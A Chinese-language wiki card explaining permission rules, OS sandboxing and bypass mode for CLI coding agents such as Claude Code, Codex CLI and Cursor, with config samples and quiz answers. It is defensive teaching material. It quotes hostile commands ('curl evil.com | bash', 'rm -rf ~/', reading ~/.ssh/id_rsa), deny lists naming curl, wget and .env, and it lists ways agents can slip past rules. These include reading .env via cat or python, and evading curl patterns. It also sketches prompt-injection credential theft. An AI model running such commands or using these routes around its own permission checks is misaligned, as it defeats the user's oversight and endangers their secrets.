---
title: "CLI Agent 权限模型与 sandbox 边界"
wiki: cli
category: "配置管理"
slug: permission-model
url: https://learnagent.wiki/cli/cards/permission-model
tags: ["权限", "安全", "sandbox", "allowedTools", "dangerously-skip-permissions"]
last_updated: 2026-04-22
reading_time: 16
---

> CLI Agent 之所以让人又爱又怕，本质上就一句话：**它能在你的真实终端里跑命令、改文件、发网络请求**。一个写错的 `rm -rf` 或者一段被诱导出来的 `curl evil.com | bash`，造成的损失是 IDE 插件的几十倍。所以从 Claude Code 0.x 开始，所有主流终端 Agent 都把"权限模型"放在了第一位——它决定了 Agent 在什么时候可以闷头干、什么时候必须停下来问你、什么时候直接被拒绝。

# CLI Agent 权限模型与 sandbox 边界

## 基础概念

CLI Agent 之所以让人又爱又怕，本质上就一句话：**它能在你的真实终端里跑命令、改文件、发网络请求**。一个写错的 `rm -rf` 或者一段被诱导出来的 `curl evil.com | bash`，造成的损失是 IDE 插件的几十倍。所以从 Claude Code 0.x 开始，所有主流终端 Agent 都把"权限模型"放在了第一位——它决定了 Agent 在什么时候可以闷头干、什么时候必须停下来问你、什么时候直接被拒绝。

权限模型要回答三个问题：

- **谁来询问？** 是 CLI 进程本身，不是模型，也不是后端。模型只负责决定"我想调哪个工具、参数是什么"，真正决定"这个调用要不要放行"的是 Claude Code / Codex CLI 跑在你电脑上的那个进程。
- **询问的是什么？** 不是"模型的输出对不对"，而是"这个具体的工具调用——读哪个文件、跑哪条 bash、发到哪个域名——能不能执行"。
- **为什么默认要问？** 因为模型是不可信输入的下游：你打开的网页、cat 出来的 issue、克隆下来的仓库，里面任何一段文字都可能藏着 prompt injection。让用户在关键动作前点一下，相当于给整条链路加了一道人工 checkpoint。

Claude Code 官方把这套设计叫做 **"strict read-only by default"**：默认状态下读取文件、grep、glob 这类只读操作不询问；一旦涉及写文件、跑 bash、发网络请求，就必须显式批准。这是 Claude Code、Codex CLI、Cursor Agent 都共享的基线。

### 三层正交边界

要理解为什么"光配 permissions 不够、还得开 sandbox"，先记住这三层是**正交的、可叠加的**：

| 层 | 它管什么 | 在哪一层执行 | 失守后果 |
|---|---|---|---|
| **Permissions（权限规则）** | Claude 自己内部的工具调用：Bash、Read、Edit、WebFetch、MCP 调用要不要放行 | CLI 进程内的 JS/Rust 逻辑 | 模型仍可能尝试调用，但被进程拦下；不影响 Claude 没主动调起的子进程 |
| **Sandbox（OS 级隔离）** | Bash 子进程能不能写到工作目录外、能不能连未列入白名单的域名 | 操作系统：macOS Seatbelt / Linux bubblewrap | 即使 prompt injection 让 Claude 跑了 `rm -rf ~/`，OS 层仍然拒绝 |
| **Container / VM** | 整个进程的爆炸半径：能访问到的文件系统、网络、凭证全集 | Docker / devcontainer / 虚拟机 | 即使 sandbox 被绕过，也只损坏容器内 |

很多人把 permissions 当 sandbox 用，其实差得很远——permissions 拦的是"Claude 自己想调的工具"，拦不住"Claude 调起来的 bash 又 fork 出来的子进程"。后者只能靠 OS 级的 sandbox。

### 权限决策流程

下面这张图是 Claude Code 每次工具调用都会走一遍的流程，理解它就理解了 90% 的"为什么我配了 allow 它还在问/为什么 deny 不生效"：

```mermaid
flowchart TB
    Start[模型决定调用工具] --> Hook{PreToolUse hook?}
    Hook -- exit 2 --> Block[直接拒绝]
    Hook -- 通过 / 无 hook --> Deny{命中 deny 规则?}
    Deny -- 是 --> Block
    Deny -- 否 --> Ask{命中 ask 规则?}
    Ask -- 是 --> Prompt[弹出确认框]
    Ask -- 否 --> Allow{命中 allow 规则?}
    Allow -- 是 --> Sandbox{Bash 且开了 sandbox?}
    Allow -- 否 --> Mode{当前 permission mode}
    Mode -- default --> Prompt
    Mode -- acceptEdits --> AutoEdit[自动放行编辑]
    Mode -- bypassPermissions --> Skip[全部跳过]
    Sandbox -- 是 --> SandboxRun[在 OS sandbox 里跑]
    Sandbox -- 否 --> Run[直接跑]
    Prompt -- 用户同意 --> Run
    Prompt -- 用户拒绝 --> Block
```

记住三条规则：

1. **deny > ask > allow**，第一个匹配的规则赢，所以写 deny 永远比写 allow 更稳。
2. **Hook 可以推翻 allow，但推翻不了 deny**——hook 退出码 2 能拦下白名单里的命令，反过来 hook 说"放行"也救不了被 deny 命中的命令。
3. **bypassPermissions 仍然保留少数硬保护**：写 `.git`、`.claude`、`.vscode`、`.idea`、`.husky` 这几个目录依然会弹确认；`rm -rf /` 之类指向系统关键路径的命令也仍会拦。这是官方刻意留的最后一道防线。

## 基础用法

### settings.json 里的 permissions 块

最常用的就是 `allow` / `ask` / `deny` 三个数组，外加 `defaultMode` 和 `additionalDirectories`。下面是一份典型的项目 `.claude/settings.json`：

```json
{
  "$schema": "https://json.schemastore.org/claude-code-settings.json",
  "permissions": {
    "allow": [
      "Bash(npm run lint)",
      "Bash(npm run test:*)",
      "Bash(git status)",
      "Bash(git diff:*)",
      "Bash(git log:*)",
      "Read(~/.zshrc)"
    ],
    "ask": [
      "Bash(git push:*)",
      "Bash(git commit:*)"
    ],
    "deny": [
      "Bash(curl:*)",
      "Bash(wget:*)",
      "Bash(rm -rf /:*)",
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(./secrets/**)",
      "WebFetch(domain:internal.company.com)"
    ],
    "additionalDirectories": ["../shared-lib"],
    "defaultMode": "default"
  }
}
```

逐段拆开看：

- **`Bash(npm run test:*)`**：`:*` 是官方推荐的"前缀通配"写法，等价于 `Bash(npm run test *)`（注意空格）。它强制要求 `test` 后面要么是空格要么是行尾，所以能匹配 `npm run test`、`npm run test:unit`，不会误中 `npm run testing-deprecated`。
- **`Bash(git diff:*)`**：同理，匹配所有 `git diff` 开头的命令，但不会被 `git difftool-and-something` 蒙混过关。
- **`Read(./.env)` 走 deny**：注意 Read 规则只能拦 Claude 自己用的 Read 工具，**拦不住** `cat .env`。要从 OS 层真的禁掉，得开 sandbox。
- **`additionalDirectories`** 把工作目录之外的路径也纳入 Claude 的"可读可编辑"领地，但不会因此加载那个目录下的 `.claude/settings.json`，它只扩展文件访问。

文件路径模式是 **gitignore 风格**，且有四种前缀，互相之间差别很大：

| 写法 | 含义 | 例子 |
|---|---|---|
| `//path` | 文件系统绝对路径 | `Read(//Users/alice/secrets/**)` |
| `~/path` | Home 目录 | `Read(~/.zshrc)` |
| `/path` | **项目根的相对路径**（不是绝对路径！） | `Edit(/src/**/*.ts)` |
| `path` 或 `./path` | 当前目录的相对路径 | `Read(*.env)` |

**最容易踩的坑**：`/Users/alice/file` 不是绝对路径，是项目根下的 `Users/alice/file`。绝对路径要写两个斜杠 `//Users/alice/file`。

### Settings 优先级与作用域

Claude Code 在启动时按以下顺序合并配置，**高优先级覆盖低优先级**，但**数组类字段（allow/ask/deny）是 merge 而不是 replace**：

```text
1. Managed settings（企业管控，最高，谁也覆盖不了）
2. Command line arguments（--allowedTools / --disallowedTools）
3. .claude/settings.local.json（项目本地，gitignore）
4. .claude/settings.json（项目共享，提交进 git）
5. ~/.claude/settings.json（用户全局，最低）
```

所以"团队共用 deny + 个人加 allow"是合法的——只要团队 settings 里没把它 deny 死，个人就能在 local 里追加 allow。但反过来，**deny 在任何一层出现都会生效**，谁都救不回来。

### --dangerously-skip-permissions 的真实行为

命令行加这个标志（或在交互模式下进入 bypassPermissions 模式），等价于把 `defaultMode` 设成 `bypassPermissions`。它的真实效果是：

✅ **跳过**：所有 ask 提示、所有"first-time use"的提示、bash 网络命令的默认 deny（curl/wget）、文件编辑的逐次确认。

❌ **不跳过**：

1. settings.json 里**显式写在 deny 数组**的规则（依然拦截）。
2. 写入 `.git`、`.claude`、`.vscode`、`.idea`、`.husky` 这几个目录（仍弹确认，防止你的 git 仓库被改坏）。
3. 指向系统关键路径的 `rm` / `rmdir`（指向 `/`、`$HOME` 仍弹）。
4. PreToolUse hook 退出 2 的强制阻断。
5. 企业管控里 `disableBypassPermissionsMode: "disable"` 的禁用——直接连 `--dangerously-skip-permissions` 这个标志都启动失败。

CI 场景下推荐写法（注意要配合容器或 sandbox）：

```bash
# 在 GitHub Actions / GitLab CI 的 step 里
docker run --rm \
  -v "$PWD:/workspace" -w /workspace \
  -e ANTHROPIC_API_KEY \
  --network none \
  anthropic/claude-code:latest \
  claude --dangerously-skip-permissions \
         -p "Run npm test, then summarize failures into report.md"
```

`--network none` 是关键：没有它，bypassPermissions 模式下 Claude 仍可以发任意 HTTP 请求。容器加网络隔离是真正的"爆炸半径控制"，permissions 只是第一道。

### sandbox：让 deny 真的有 OS 级牙齿

从 Claude Code 1.x 开始，原生支持 `/sandbox` 命令，底层用 macOS Seatbelt 或 Linux bubblewrap 强制执行边界。开了之后，**所有 bash 子进程**都会被 OS 级别地限制在指定的可写目录和可达域名内：

```json
{
  "sandbox": {
    "enabled": true,
    "filesystem": {
      "allowWrite": ["./", "~/.kube"],
      "denyRead": ["~/.ssh", "~/.aws"]
    },
    "network": {
      "allowedDomains": [
        "registry.npmjs.org",
        "api.github.com",
        "*.anthropic.com"
      ]
    }
  }
}
```

跟 permissions 的关键区别：sandbox 是 OS 级的，连 `kubectl`、`terraform`、`npm` 这些子进程都会继承同样的边界。哪怕模型被 prompt injection 诱导跑了 `cat ~/.ssh/id_rsa`，OS 层也会直接拒绝读取。

## 同类工具对比

| 工具 | 默认询问行为 | 白名单规则颗粒度 | 危险绕过模式 | OS 级 sandbox | 团队管控 |
|---|---|---|---|---|---|
| **Claude Code** | 写文件、bash、网络请求都问；只读不问 | 高：`Bash(npm:*)`、`Edit(/src/**)`、`WebFetch(domain:x)`、`mcp__server__tool` | `--dangerously-skip-permissions`，仍保留写 `.git` 等硬保护 | ✅ 内置 `/sandbox`，Seatbelt + bubblewrap | ✅ Managed settings、`disableBypassPermissionsMode`、`allowManagedPermissionRulesOnly` |
| **Codex CLI** | 三档 approval_policy：`untrusted` / `on-request` / `never` | 中：`sandbox_workspace_write.writable_roots` 控写路径，命令级 allow 较弱 | `sandbox_mode = danger-full-access` + `approval_policy = never` 组合 | ✅ 内置三档 sandbox：`read-only` / `workspace-write` / `danger-full-access` | ⚠️ 通过 config.toml，企业管控较 Claude Code 弱 |
| **Cursor Agent (YOLO)** | Agent 模式默认逐次确认 | 中：命令 allowlist + denylist + 删文件保护 | "YOLO mode" 一键开启自动跑 | ⚠️ "Auto-Run in Sandbox" 选项，但社区报告 allowlist 在 sandbox 下被忽略 | ❌ 主要靠个人偏好，企业管控弱 |

**核心区别一句话：Claude Code 是"工具白名单 + OS sandbox"双层架构，颗粒度最细、可管控性最强；Codex CLI 用三档 sandbox 简化心智模型；Cursor 把权限当 UX 细节藏在 IDE 里。**

## 常见误区

| 误区 | 准确理解 |
|---|---|
| **以为 permissions 就是 sandbox** | permissions 只拦 Claude 自己内部的工具调用；它拦不住 Claude 调起来的 bash 子进程再 fork 的孙进程，也拦不住 `cat .env` 这种通过 bash 绕道访问的操作。要 OS 级强制，必须开 `/sandbox` 或跑在容器里。 |
| **以为 `--dangerously-skip-permissions` 在 CI 里足以替代审计** | bypass 模式仍会保留写 `.git` 等几个硬保护，但**不会**自动加网络隔离、不会自动加文件系统隔离、也不会自动留审计日志。CI 场景下 bypass 必须叠加容器隔离、`--network none`、以及外部 audit log（OpenTelemetry / 自建 hook），三者缺一不可。 |
| **用 bash 通配符想拒绝单个命令** | `Bash(curl http://github.com/ *)` 这种规则形同虚设：`curl -X GET http://github.com/...`、`curl https://...`、`URL=... && curl $URL`、`curl -L http://bit.ly/...` 都能绕过去。正解是 deny 整个 `Bash(curl:*)` 和 `Bash(wget:*)`，再用 `WebFetch(domain:github.com)` 给定向白名单。 |
| **以为 Read 的 deny 能保护 .env** | `Read(./.env)` 只挡住 Claude 调用 Read 工具直接读，挡不住 `cat .env`、`grep KEY .env`、`source .env`。真要保护必须 OS 层：sandbox 的 `denyRead` 或者把文件挪出工作目录。 |
| **以为 `/path` 是绝对路径** | gitignore 风格里 `/path` 是**项目根相对路径**。绝对路径必须写两个斜杠：`//path`。把 `Read(/etc/passwd)` 当成"禁止读 /etc/passwd"是无效的——它实际上指向 `<项目根>/etc/passwd`。 |
| **以为 `Bash(devbox run *)` 只放行 devbox 里的安全命令** | `devbox`、`docker exec`、`mise exec`、`npx` 这些"环境运行器"不在 Claude Code 内置的 wrapper 剥离列表里，所以 `Bash(devbox run *)` 等于"放行 devbox 后面所有命令"，包括 `devbox run rm -rf .`。要么写精确规则 `Bash(devbox run npm test)`，要么干脆别让运行器加通配。 |
| **以为开了 bypass 就不会再有任何提示** | 写 `.git`、`.claude`、`.vscode`、`.idea`、`.husky` 这五个目录、以及指向 `/`、`$HOME` 等系统关键路径的 `rm`，永远会再问一次，这是官方写死的最后一道防线，不是 bug。 |

## 优劣势分析

| 优势 | 劣势 |
|---|---|
| **deny-first 设计极其安全**：deny 任何一层出现都生效，团队 / 企业 / 个人配置可叠加，写 deny 永远比 allow 更稳 | **配置心智成本高**：四种路径前缀（`//` / `~/` / `/` / `./`）、bash 通配的空格语义、`:*` 与 ` *` 的区别、wrapper 剥离列表，新手很容易写出"看起来对其实失效"的规则 |
| **支持 OS 级 sandbox**：Seatbelt / bubblewrap 让权限有真正的牙齿，能挡住 `cat .env`、`rm -rf ~/` 这类绕道操作 | **sandbox 平台支持不齐**：macOS / Linux / WSL2 可用，原生 Windows 暂不支持；Linux 容器内还需 `enableWeakerNestedSandbox` 妥协 |
| **管控分层清晰**：Managed > CLI args > local > project > user 五层，企业可以一键 `allowManagedPermissionRulesOnly` 锁死团队规则 | **bash 规则脆弱**：试图用 pattern 限制命令参数（如限制 curl 只访问某域名）几乎注定失败，必须改用 deny + WebFetch 白名单 |
| **PreToolUse hook 提供编程化扩展**：能写一个 Python / shell 脚本动态决定每次调用是否放行，能取代静态规则 | **hook 的优先级与 deny 关系容易记错**：hook 拦截优先于 allow，但 deny 优先于 hook"放行"决定，团队同时用两者时容易绕晕 |
| **bypassPermissions 仍保留硬保护**：写 `.git` 等仍会问，最大限度防止"全开模式下把仓库改烂" | **bypass 不会自动加网络隔离**：很多人以为开了 bypass + 在 CI 跑就安全了，实际上完全没有 OS 级隔离，必须自己叠 docker `--network none` |

## 思考题

<details>
<summary>初级：把 settings.json 里 <code>Read(./.env)</code> 写进 deny，为什么 Claude 仍然可能把 <code>.env</code> 内容打印出来？</summary>

**参考答案：**

`Read` 规则只能拦截 Claude **直接调用 Read 工具**这一种路径。Claude 仍然有别的路可以走：

1. 调用 Bash 工具跑 `cat .env`、`grep API .env`、`source .env`——这些走的是 Bash，不是 Read。
2. 跑 `python -c "print(open('.env').read())"`——走的是 Bash 调起的 python 子进程。
3. 用 git diff、tar、less 等任何能读文件的命令绕道。

要真正保护 `.env`，得做三件事至少做一件：

- 在 sandbox 配置里写 `denyRead: ["./.env", "./.env.*"]`，由 OS 拦截所有进程的访问。
- 把 `.env` 移到工作目录之外，使其超出 Claude 的访问范围。
- 用 PreToolUse hook 检测 bash 命令字符串里是否含有 `.env`，含有就 exit 2 阻断。

这道题的本质是：**permissions 是应用层规则，sandbox 才是 OS 层屏障**。

</details>

<details>
<summary>中级：你是团队 lead，要让所有开发都不能在 CI 里跑 <code>--dangerously-skip-permissions</code>，但本地随便玩。怎么配？</summary>

**参考答案：**

正确做法是**只在 CI 那一层下发 managed settings**，不要污染开发本地：

1. 在 CI runner 镜像里部署 managed settings 文件（macOS 是 plist、Linux 是 `/etc/claude-code/managed-settings.json`、Windows 是注册表）：

   ```json
   {
     "permissions": {
       "disableBypassPermissionsMode": "disable",
       "allowManagedPermissionRulesOnly": true,
       "deny": [
         "Bash(curl:*)",
         "Bash(wget:*)",
         "Read(./.env)",
         "Read(./.env.*)"
       ]
     }
   }
   ```

2. `disableBypassPermissionsMode: "disable"` 会让 `--dangerously-skip-permissions` 直接启动失败，连进程都起不来。
3. `allowManagedPermissionRulesOnly: true` 会让 CI 里的项目仓库、用户层的 settings.json 全部失效——只有 managed settings 里的规则生效，避免有人在 PR 里偷偷加 allow。
4. 开发本地不部署 managed settings，所以日常开发的 bypass 模式照常用。

错误做法：把限制写进 `.claude/settings.json` 提交进仓库——开发本地一样会受影响，体验会非常糟糕；而且仓库里的项目 settings 在 CI 里仍然会被 Claude 加载，但优先级低于 managed，**真正起决定作用的还是 managed**。所以这件事必须从 OS 层（managed settings）下发，不要从代码仓库下发。

</details>

<details>
<summary>进阶：把 Claude Code 跑在 devcontainer + <code>--dangerously-skip-permissions</code> 里，是否就完全安全可以无人值守？为什么？</summary>

**参考答案：**

**不能完全等于安全**，原因有四个层面：

1. **devcontainer 内的凭证仍然暴露**：你挂进容器的 `~/.config/gh`、`ANTHROPIC_API_KEY`、`.npmrc` 一旦被 prompt injection 诱导，会被打到攻击者控制的服务上。devcontainer 默认 firewall 只拦 outbound 域名，没拦认证后的 GitHub API 写操作——攻击者可以用你的 gh token 创 issue / 改 secret / push 恶意 commit。
2. **网络白名单本身是攻击面**：devcontainer 默认放行 npm registry、GitHub、Anthropic。攻击者可以利用 npm 包、GitHub raw 的 redirect、甚至 GitHub 仓库 issue body 来 staging 数据，做 domain fronting 类型的 exfiltration。
3. **bypass 不绕过的硬保护，反过来说也意味着会停下来等**：写 `.git` 仍会弹确认；如果你把脚本写成"完全 headless 跑一晚上"，遇到这种弹窗就会卡死。无人值守要么提前把 `.git` 写操作走 `Bash(git:*)` 通道（这又削弱了保护），要么接受偶尔卡住。
4. **没有审计日志的隔离没有意义**：出了事你需要回放 Claude 到底跑了什么。devcontainer 默认不开 OpenTelemetry / hook 日志。要做生产级无人值守，必须叠加：(a) PostToolUse hook 把每条 bash 命令落盘；(b) 容器层 audit log（auditd / falco）；(c) 限制 token scope（用一次性短 token 而不是长期 PAT）。

**正确认知**：devcontainer + bypass 是把"爆炸半径"从你的笔记本压缩到了"容器内可访问的东西"，但容器内能访问的东西如果包含真正值钱的凭证和写权限，破坏力依然巨大。无人值守的真正配方是 **最小权限凭证 + OS sandbox + 网络白名单 + 审计日志 + 只对可信仓库使用**，缺哪一项都不算"安全"。

</details>

## 参考资料

1. Claude Code 权限官方文档：<https://code.claude.com/docs/en/permissions>（查询日期 2026-04-22）
2. Claude Code 安全模型：<https://code.claude.com/docs/en/security>（查询日期 2026-04-22）
3. Claude Code Settings 完整字段：<https://code.claude.com/docs/en/settings>（查询日期 2026-04-22）
4. Claude Code Sandboxing（Seatbelt / bubblewrap 实现）：<https://code.claude.com/docs/en/sandboxing>（查询日期 2026-04-22）
5. Claude Code Devcontainer 参考实现：<https://code.claude.com/docs/en/devcontainer>（查询日期 2026-04-22）
6. OpenAI Codex CLI Sandboxing：<https://developers.openai.com/codex/concepts/sandboxing>（查询日期 2026-04-22）
7. OpenAI Codex Agent Approvals & Security：<https://developers.openai.com/codex/agent-approvals-security>（查询日期 2026-04-22）
8. Cursor 社区关于 YOLO 模式 allowlist 被绕过的报告：<https://forum.cursor.com/t/command-allowlist-is-silently-ignored-when-auto-run-in-sandbox-is-enabled/152136>（查询日期 2026-04-22）
9. The Register: Cursor AI safeguards bypassed in YOLO mode：<https://www.theregister.com/2025/07/21/cursor_ai_safeguards_easily_bypassed/>（查询日期 2026-04-22）
10. anthropic-experimental/sandbox-runtime（开源 sandbox 运行时）：<https://github.com/anthropic-experimental/sandbox-runtime>（查询日期 2026-04-22）

---
*Source: https://learnagent.wiki/cli/cards/permission-model*
*Markdown mirror of https://learnagent.wiki, served as text/markdown for LLM ingestion.*